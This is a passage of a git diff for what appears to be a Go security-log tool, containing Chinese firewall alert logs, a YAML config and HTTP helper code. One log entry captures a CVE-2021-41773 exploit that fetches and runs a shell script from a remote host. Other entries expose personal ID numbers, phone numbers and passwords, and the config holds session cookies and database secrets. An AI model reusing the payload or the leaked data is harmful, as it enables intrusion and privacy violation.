zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1376258","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":45824,\"DestPort\":8180,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":23412,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Web用户弱口令尝试(POST)\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:38:17\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"211.144.139.134\",\"User\":\"211.144.139.134\",\"DestIPAddr\":\"121.30.199.77\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.77:8180\",\"HttpFirstLine\":\"\/api\/base\/api\/accept\/accept\/receive\",\"Payload\":\"{\\\"data\\\":[{\\\"item\\\":{\\\"acceptDate\\\":\\\"2025-02-26 13:40:09\\\",\\\"acceptPersonName\\\":\\\"\\\\e5\\\\bc\\\\a0\\\\e7\\\\a7\\\\80\\\\e7\\\\8e\\\\b2\\\",\\\"applyDate\\\":\\\"2025-02-26 13:40:02\\\",\\\"applyIdNo\\\":\\\"14022620001112794X\\\",\\\"applyIdType\\\":\\\"\\\\e8\\\\ba\\\\ab\\\\e4\\\\bb\\\\bd\\\\e8\\\\af\\\\81\\\",\\\"applyMobile\\\":\\\"15235239806\\\",\\\"applyName\\\":\\\"\\\\e6\\\\9d\\\\8e\\\\e6\\\\85\\\\a7\\\",\\\"charge\\\":1,\\\"finish\\\":1,\\\"finishDate\\\":\\\"2025-02-26 16:40:09\\\",\\\"finishStatus\\\":\\\"\\\\e5\\\\87\\\\86\\\\e4\\\\ba\\\\88\\\\e8\\\\ae\\\\b8\\\\e5\\\\8f\\\\af\\\",\\\"itemCode\\\":\\\"11140213MB196264XP400012301400001\\\",\\\"itemName\\\":\\\"\\\\e6\\\\8a\\\\a4\\\\e5\\\\a3\\\\ab\\\\e6\\\\89\\\\a7\\\\e4\\\\b8\\\\9a\\\\e9\\\\a6\\\\96\\\\e6\\\\ac\\\\a1\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\",\\\"limitDays\\\":1,\\\"limitStatus\\\":\\\"\\\\e5\\\\b7\\\\b2\\\\e5\\\\8a\\\\9e\\\\e7\\\\bb\\\\93\\\",\\\"password\\\":\\\"840855\\\",\\\"postAddress\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"postName\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"postPhone\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"receiveType\\\":\\\"\\\\e7\\\\aa\\\\97\\\\e5\\\\8f\\\\a3\\\\e9\\\\a2\\\\86\\\\e5\\\\8f\\\\96\\\",\\\"serviceObject\\\":\\\"\\\\e8\\\\87\\\\aa\\\\e7\\\\84\\\\b6\\\\e4\\\\ba\\\\ba\\\",\\\"status\\\":\\\"\\\\e5\\\\b7\\\\b2\\\\e5\\\\8a\\\\9e\\\\e7\\\\bb\\\\93\\\",\\\"sym\\\":\\\"14020078000020250226000012\\\",\\\"title\\\":\\\"\\\\e6\\\\8a\\\\a4\\\\e5\\\\a3\\\\ab\\\\e6\\\\89\\\\a7\\\\e4\\\\b8\\\\9a\\\\e9\\\\a6\\\\96\\\\e6\\\\ac\\\\a1\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\"},\\\"stepIns\\\":[{\\\"descr\\\":\\\"\\\\e5\\\\90\\\\8c\\\\e6\\\\84\\\\8f\\\",\\\"endDate\\\":\\\"2025-02-26 13:40:16\\\",\\\"limitDays\\\":1,\\\"limitStat\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"WeakPassword\",\"MethodSubNameCN\":\"弱密码\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1441794","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":35918,\"DestPort\":8180,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":23412,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Web用户弱口令尝试(POST)\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:37:01\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"211.144.139.134\",\"User\":\"211.144.139.134\",\"DestIPAddr\":\"121.30.199.77\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.77:8180\",\"HttpFirstLine\":\"\/api\/base\/api\/accept\/accept\/receive\",\"Payload\":\"{\\\"data\\\":[{\\\"item\\\":{\\\"acceptDate\\\":\\\"2025-02-26 13:39:01\\\",\\\"acceptPersonName\\\":\\\"\\\\e4\\\\b9\\\\94\\\\e6\\\\99\\\\93\\\\e8\\\\8a\\\\b1\\\",\\\"applyDate\\\":\\\"2025-02-26 13:38:54\\\",\\\"applyIdNo\\\":\\\"140202621214309\\\",\\\"applyIdType\\\":\\\"\\\\e8\\\\ba\\\\ab\\\\e4\\\\bb\\\\bd\\\\e8\\\\af\\\\81\\\",\\\"applyMobile\\\":\\\"13015391758\\\",\\\"applyName\\\":\\\"\\\\e6\\\\a2\\\\81\\\\e5\\\\bb\\\\ba\\\\e5\\\\b9\\\\b3\\\",\\\"charge\\\":1,\\\"finish\\\":1,\\\"finishDate\\\":\\\"2024-04-29 16:39:01\\\",\\\"finishStatus\\\":\\\"\\\\e5\\\\87\\\\86\\\\e4\\\\ba\\\\88\\\\e8\\\\ae\\\\b8\\\\e5\\\\8f\\\\af\\\",\\\"itemCode\\\":\\\"11140200MB19366520314012300500003\\\",\\\"itemName\\\":\\\"\\\\e5\\\\8c\\\\bb\\\\e5\\\\b8\\\\88\\\\e6\\\\89\\\\a7\\\\e4\\\\b8\\\\9a\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\\ef\\\\bc\\\\88\\\\e5\\\\a4\\\\9a\\\\e6\\\\9c\\\\ba\\\\e6\\\\9e\\\\84\\\\e5\\\\a4\\\\87\\\\e6\\\\a1\\\\88\\\\ef\\\\bc\\\\89\\\",\\\"limitDays\\\":1,\\\"limitStatus\\\":\\\"\\\\e5\\\\b7\\\\b2\\\\e5\\\\8a\\\\9e\\\\e7\\\\bb\\\\93\\\",\\\"password\\\":\\\"306640\\\",\\\"postAddress\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"postName\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"postPhone\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"receiveType\\\":\\\"\\\\e7\\\\aa\\\\97\\\\e5\\\\8f\\\\a3\\\\e9\\\\a2\\\\86\\\\e5\\\\8f\\\\96\\\",\\\"serviceObject\\\":\\\"\\\\e8\\\\87\\\\aa\\\\e7\\\\84\\\\b6\\\\e4\\\\ba\\\\ba\\\",\\\"status\\\":\\\"\\\\e5\\\\b7\\\\b2\\\\e5\\\\8a\\\\9e\\\\e7\\\\bb\\\\93\\\",\\\"sym\\\":\\\"14020078000020250226000011\\\",\\\"title\\\":\\\"\\\\e5\\\\8c\\\\bb\\\\e5\\\\b8\\\\88\\\\e6\\\\89\\\\a7\\\\e4\\\\b8\\\\9a\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\\ef\\\\bc\\\\88\\\\e5\\\\a4\\\\9a\\\\e6\\\\9c\\\\ba\\\\e6\\\\9e\\\\84\\\\e5\\\\a4\\\\87\\\\e6\\\\a1\\\\88\\\\ef\\\\bc\\\\89\\\"},\\\"\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"WeakPassword\",\"MethodSubNameCN\":\"弱密码\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1507330","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":45680,\"DestPort\":8180,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":23412,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Web用户弱口令尝试(POST)\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:33:25\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"211.144.139.134\",\"User\":\"211.144.139.134\",\"DestIPAddr\":\"121.30.199.77\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.77:8180\",\"HttpFirstLine\":\"\/api\/base\/api\/accept\/accept\/receive\",\"Payload\":\"{\\\"data\\\":[{\\\"item\\\":{\\\"acceptDate\\\":\\\"2025-02-26 15:35:25\\\",\\\"acceptPersonName\\\":\\\"\\\\e5\\\\bc\\\\a0\\\\e7\\\\a7\\\\80\\\\e7\\\\8e\\\\b2\\\",\\\"applyDate\\\":\\\"2025-02-26 15:35:18\\\",\\\"applyIdNo\\\":\\\"140211198603214428\\\",\\\"applyIdType\\\":\\\"\\\\e8\\\\ba\\\\ab\\\\e4\\\\bb\\\\bd\\\\e8\\\\af\\\\81\\\",\\\"applyMobile\\\":\\\"13546072988\\\",\\\"applyName\\\":\\\"\\\\e9\\\\9f\\\\a9\\\\e7\\\\8e\\\\89\\\\e5\\\\a8\\\\9f\\\",\\\"charge\\\":1,\\\"finish\\\":1,\\\"finishDate\\\":\\\"2023-09-11 16:35:25\\\",\\\"finishStatus\\\":\\\"\\\\e5\\\\87\\\\86\\\\e4\\\\ba\\\\88\\\\e8\\\\ae\\\\b8\\\\e5\\\\8f\\\\af\\\",\\\"itemCode\\\":\\\"11140213MB196264XP400012301200003\\\",\\\"itemName\\\":\\\"\\\\e5\\\\8c\\\\bb\\\\e5\\\\b8\\\\88\\\\e6\\\\89\\\\a7\\\\e4\\\\b8\\\\9a\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\\ef\\\\bc\\\\88\\\\e5\\\\a4\\\\9a\\\\e6\\\\9c\\\\ba\\\\e6\\\\9e\\\\84\\\\e5\\\\a4\\\\87\\\\e6\\\\a1\\\\88\\\\ef\\\\bc\\\\89\\\",\\\"limitDays\\\":1,\\\"limitStatus\\\":\\\"\\\\e5\\\\b7\\\\b2\\\\e5\\\\8a\\\\9e\\\\e7\\\\bb\\\\93\\\",\\\"password\\\":\\\"747501\\\",\\\"postAddress\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"postName\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"postPhone\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"receiveType\\\":\\\"\\\\e7\\\\aa\\\\97\\\\e5\\\\8f\\\\a3\\\\e9\\\\a2\\\\86\\\\e5\\\\8f\\\\96\\\",\\\"serviceObject\\\":\\\"\\\\e8\\\\87\\\\aa\\\\e7\\\\84\\\\b6\\\\e4\\\\ba\\\\ba\\\",\\\"status\\\":\\\"\\\\e5\\\\b7\\\\b2\\\\e5\\\\8a\\\\9e\\\\e7\\\\bb\\\\93\\\",\\\"sym\\\":\\\"14020078000020250226000009\\\",\\\"title\\\":\\\"\\\\e5\\\\8c\\\\bb\\\\e5\\\\b8\\\\88\\\\e6\\\\89\\\\a7\\\\e4\\\\b8\\\\9a\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\\ef\\\\bc\\\\88\\\\e5\\\\a4\\\\9a\\\\e6\\\\9c\\\\ba\\\\e6\\\\9e\\\\84\\\\e5\\\\a4\\\\87\\\\e6\\\\a1\\\\88\\\\ef\\\\bc\\\\89\\\"\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"WeakPassword\",\"MethodSubNameCN\":\"弱密 码\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1572866","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":60256,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":51416,\"Severity\":10,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"网络爬虫:Bytespider\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:15:34\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"111.225.148.194\",\"User\":\"111.225.148.194\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" www.dtdj.gov.cn\",\"HttpFirstLine\":\"\/mobile\/view\",\"Payload\":\" Mozilla\/5.0 (Linux; Android 5.0) AppleWebKit\/537.36 (KHTML, like Gecko) Mobile Safari\/537.36 (compatible; Bytespider; https:\/\/zhanzhang.toutiao.com\/)\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"Spider\",\"MethodSubNameCN\":\"爬虫\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1638402","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":57098,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":51416,\"Severity\":10,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"网络爬虫:Bytespider\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:15:33\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"111.225.148.194\",\"User\":\"111.225.148.194\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" www.dtdj.gov.cn\",\"HttpFirstLine\":\"\/mobile\/article_list.htm?itemId=139&parentId=0\",\"Payload\":\" Mozilla\/5.0 (Linux; Android 5.0) AppleWebKit\/537.36 (KHTML, like Gecko) Mobile Safari\/537.36 (compatible; Bytespider; https:\/\/zhanzhang.toutiao.com\/)\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"Spider\",\"MethodSubNameCN\":\"爬虫\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1703938","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":41308,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":44259,\"Severity\":60,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"CVE-2021-41773_Apache_HTTP_Server·径遍历漏洞\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:14:36\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"43.143.211.222\",\"User\":\"43.143.211.222\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"CVE-2021-41773\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.79:80\",\"HttpFirstLine\":\"\/cgi-bin\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/bin\/sh\",\"Payload\":\"POST \/cgi-bin\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/.%2e\/bin\/sh HTTP\/1.1\\\\0d\\\\0aHost: 121.30.199.79:80\\\\0d\\\\0aAccept: *\/*\\\\0d\\\\0aUpgrade-Insecure-Requests: 1\\\\0d\\\\0aUser-Agent: Custom-AsyncHttpClient\\\\0d\\\\0aConnection: keep-alive\\\\0d\\\\0aContent-Type: text\/plain\\\\0d\\\\0aContent-Length: 105\\\\0d\\\\0a\\\\0d\\\\0aX=$(curl http:\/\/196.251.88.141\/sh || wget http:\/\/196.251.88.141\/sh -O-); echo \\\"$X\\\" | sh -s apache.selfrep\",\"MethodName\":\"Vulnerability\",\"MethodNameCN\":\"漏洞\",\"MethodSubName\":\"DirectoryTraversal\",\"MethodSubNameCN\":\"目录遍历\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1769474","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":53278,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":51416,\"Severity\":10,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"网络爬虫:Bytespider\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:14:00\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"111.225.148.7\",\"User\":\"111.225.148.7\",\"DestIPAddr\":\"121.30.199.82\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" zyx.datong12380.gov.cn\",\"HttpFirstLine\":\"\/robots.txt\",\"Payload\":\" Mozilla\/5.0 (Linux; Android 5.0) AppleWebKit\/537.36 (KHTML, like Gecko) Mobile Safari\/537.36 (compatible; Bytespider; https:\/\/zhanzhang.toutiao.com\/)\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"Spider\",\"MethodSubNameCN\":\"爬虫\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1835010","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":49288,\"DestPort\":8180,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":23412,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Web用户弱口令尝试(POST)\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:12:21\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"211.144.139.134\",\"User\":\"211.144.139.134\",\"DestIPAddr\":\"121.30.199.77\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.77:8180\",\"HttpFirstLine\":\"\/api\/base\/api\/accept\/accept\/receive\",\"Payload\":\"{\\\"data\\\":[{\\\"item\\\":{\\\"acceptDate\\\":\\\"2025-02-26 14:14:21\\\",\\\"acceptPersonName\\\":\\\"\\\\e4\\\\b9\\\\94\\\\e6\\\\99\\\\93\\\\e8\\\\8a\\\\b1\\\",\\\"applyDate\\\":\\\"2025-02-26 14:14:15\\\",\\\"applyIdNo\\\":\\\"140203610502431\\\",\\\"applyIdType\\\":\\\"\\\\e8\\\\ba\\\\ab\\\\e4\\\\bb\\\\bd\\\\e8\\\\af\\\\81\\\",\\\"applyMobile\\\":\\\"13935209411\\\",\\\"applyName\\\":\\\"\\\\e6\\\\88\\\\90\\\\e9\\\\92\\\\a6\\\",\\\"charge\\\":1,\\\"finish\\\":1,\\\"finishDate\\\":\\\"2025-02-26 16:14:21\\\",\\\"finishStatus\\\":\\\"\\\\e5\\\\87\\\\86\\\\e4\\\\ba\\\\88\\\\e8\\\\ae\\\\b8\\\\e5\\\\8f\\\\af\\\",\\\"itemCode\\\":\\\"11140200MB19366520314012300500002\\\",\\\"itemName\\\":\\\"\\\\e5\\\\8c\\\\bb\\\\e5\\\\b8\\\\88\\\\e6\\\\89\\\\a7\\\\e4\\\\b8\\\\9a\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\\ef\\\\bc\\\\88\\\\e5\\\\8f\\\\98\\\\e6\\\\9b\\\\b4\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\\ef\\\\bc\\\\89\\\",\\\"limitDays\\\":1,\\\"limitStatus\\\":\\\"\\\\e5\\\\b7\\\\b2\\\\e5\\\\8a\\\\9e\\\\e7\\\\bb\\\\93\\\",\\\"password\\\":\\\"552187\\\",\\\"postAddress\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"postName\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"postPhone\\\":\\\"\\\\e6\\\\97\\\\a0\\\",\\\"receiveType\\\":\\\"\\\\e7\\\\aa\\\\97\\\\e5\\\\8f\\\\a3\\\\e9\\\\a2\\\\86\\\\e5\\\\8f\\\\96\\\",\\\"serviceObject\\\":\\\"\\\\e8\\\\87\\\\aa\\\\e7\\\\84\\\\b6\\\\e4\\\\ba\\\\ba\\\",\\\"status\\\":\\\"\\\\e5\\\\b7\\\\b2\\\\e5\\\\8a\\\\9e\\\\e7\\\\bb\\\\93\\\",\\\"sym\\\":\\\"14020078000020250226000008\\\",\\\"title\\\":\\\"\\\\e5\\\\8c\\\\bb\\\\e5\\\\b8\\\\88\\\\e6\\\\89\\\\a7\\\\e4\\\\b8\\\\9a\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\\ef\\\\bc\\\\88\\\\e5\\\\8f\\\\98\\\\e6\\\\9b\\\\b4\\\\e6\\\\b3\\\\a8\\\\e5\\\\86\\\\8c\\\\ef\\\\bc\\\\89\\\"},\\\"stepIns\\\":[{\\\"descr\\\":\\\"\\\\e5\\\\90\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"WeakPassword\",\"MethodSubNameCN\":\"弱密码\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
]
|
||||
}
|
||||
}
|
5
conf/test.yaml
Normal file
@ -0,0 +1,5 @@
|
||||
cookie: vindex==a1=00=0AB00=0R;supportLang=cn%2Cen;lang=cn;login=true;sessionid=200002af2496790d388727be77dcad1f3fa3;loginid=fb5a20588f5b032fd0faea8dba15170a;200002af2496790d388727be77dcad1f3fa3=true;
|
||||
dtcloud_cookie: Hm_lvt_d980fb2543f406139975c7a72a5a0387=1740971050,1740974075,1741246647; ea6ee7ef65afa3fa0312817d0b12190e=787b65e4f93b05a0765ee0e7a6e2d24c; CECLOUD_OPS_SID=Tm1Sa01tUTRaakF0WW1FeE1DMDBNelUwTFdJMFl6QXROR1ppWWpWallqVXdNMlZsfGRYTmxjaTVvYkhjdVpIUmpiRzkxWkM1amIyMD0=; CECLOUD_OPS_CID=TmpObVpEbG1ORGd0WmpjNU1DMDBObUZtTFdKbVptWXRZVEJpWkRNd1pERTFOakk1fGRYTmxjaTVvYkhjdVpIUmpiRzkxWkM1amIyMD0=
|
||||
mysql:
|
||||
password: sLy1ZxZBEroGcoSv75P/xigUJ59/Yhsz1Z7896WzArcImdobrwg5+N6QEo4yT6CcpW22Y6bYy6a0ZWYAEzDaKZhOQG0odaUAv/SDP7JM7l7hH987XFJkUauaETu97Ev0kObsbS4laEiEg/+VG8fQrPuD2iRax1IWGXTKOtn+gHlyzSp016OhKOUUKKdW16OaC8AbVX9F3tVp10c2hsQNvLJl27MN5m3jXpoq9CTdcXsk15oHZVuIp3Kj9RWa8azpauiCPEKVE1KPvuJAhPYYakZBAdxGNU7Ye/YPZq68PJZHm6otEsaQxGJB1+DRNYh0oFWN9+aSYph6kAn0p5/c4g==
|
||||
root: SROH9rAd7V+xC9GAaf4ougPGUPaeddd/KB5Or5qn6v9BHp286pZWHWbILgvUqA5j3WcBoRuQhVZ126KryjRTZKbbWuG3b7P7aHVZa2BTd4g/Dk8OCRWDZ0idCbi+68ZY4BCtSNhRHJ3yGvxphR6jeKoRpiNfnQ6iMJkHj00LJi/kQ/Gv/AW+ZLLJFU3PN3LkdbVt6qaexNhZoo7dDL7fyWxlpn/pfpa2kI41MvY8U3c14McB2MSwID8jyHCnk02HFPZC+xkDQU4RLEd+Br8/jcoWRlZvkFx/PW86CDdkskK2Fyun2/Zpo4pzQ1FrjdMpTgO1kR8LTcLLheS8zdSFBg==
|
35
conf/yaml.go
Normal file
@ -0,0 +1,35 @@
|
||||
package conf
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// 设置配置文件的名字
|
||||
viper.SetConfigName("test")
|
||||
// 设置配置文件的类型
|
||||
viper.SetConfigType("yaml")
|
||||
// 添加配置文件的路径,指定 config 目录下寻找
|
||||
viper.AddConfigPath("conf/")
|
||||
|
||||
// 寻找配置文件并读取
|
||||
err := viper.ReadInConfig()
|
||||
if err != nil {
|
||||
panic(fmt.Errorf("fatal error config file: %w", err))
|
||||
}
|
||||
}
|
||||
|
||||
// 修改配置文件内容
|
||||
func SET_Config_yaml(name, value string) {
|
||||
viper.Set(name, value)
|
||||
viper.WriteConfig()
|
||||
// fmt.Println(viper.Get("mysql")) // map[port:3306 url:127.0.0.1]
|
||||
// fmt.Println(viper.Get("mysql.url")) // 127.0.0.1
|
||||
}
|
||||
|
||||
// 读取配置文件内容
|
||||
func GET_Config_yaml(name string) any {
|
||||
return viper.Get(name)
|
||||
}
|
102
conn/http_req.go
Normal file
@ -0,0 +1,102 @@
|
||||
package conn
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
// headers := map[string]string{
|
||||
// "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
// }
|
||||
func DT_POST(urls string, headers map[string]string, bytess io.Reader) string {
|
||||
url, err := url.Parse(urls)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// 创建一个 POST 请求
|
||||
r, err := http.NewRequest(http.MethodPost, url.String(), bytess)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
|
||||
// // 设置请求头
|
||||
// req.Header.Set("Content-Type", "application/json")
|
||||
// 使用 map 动态设置请求头 // 设置请求头 req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
|
||||
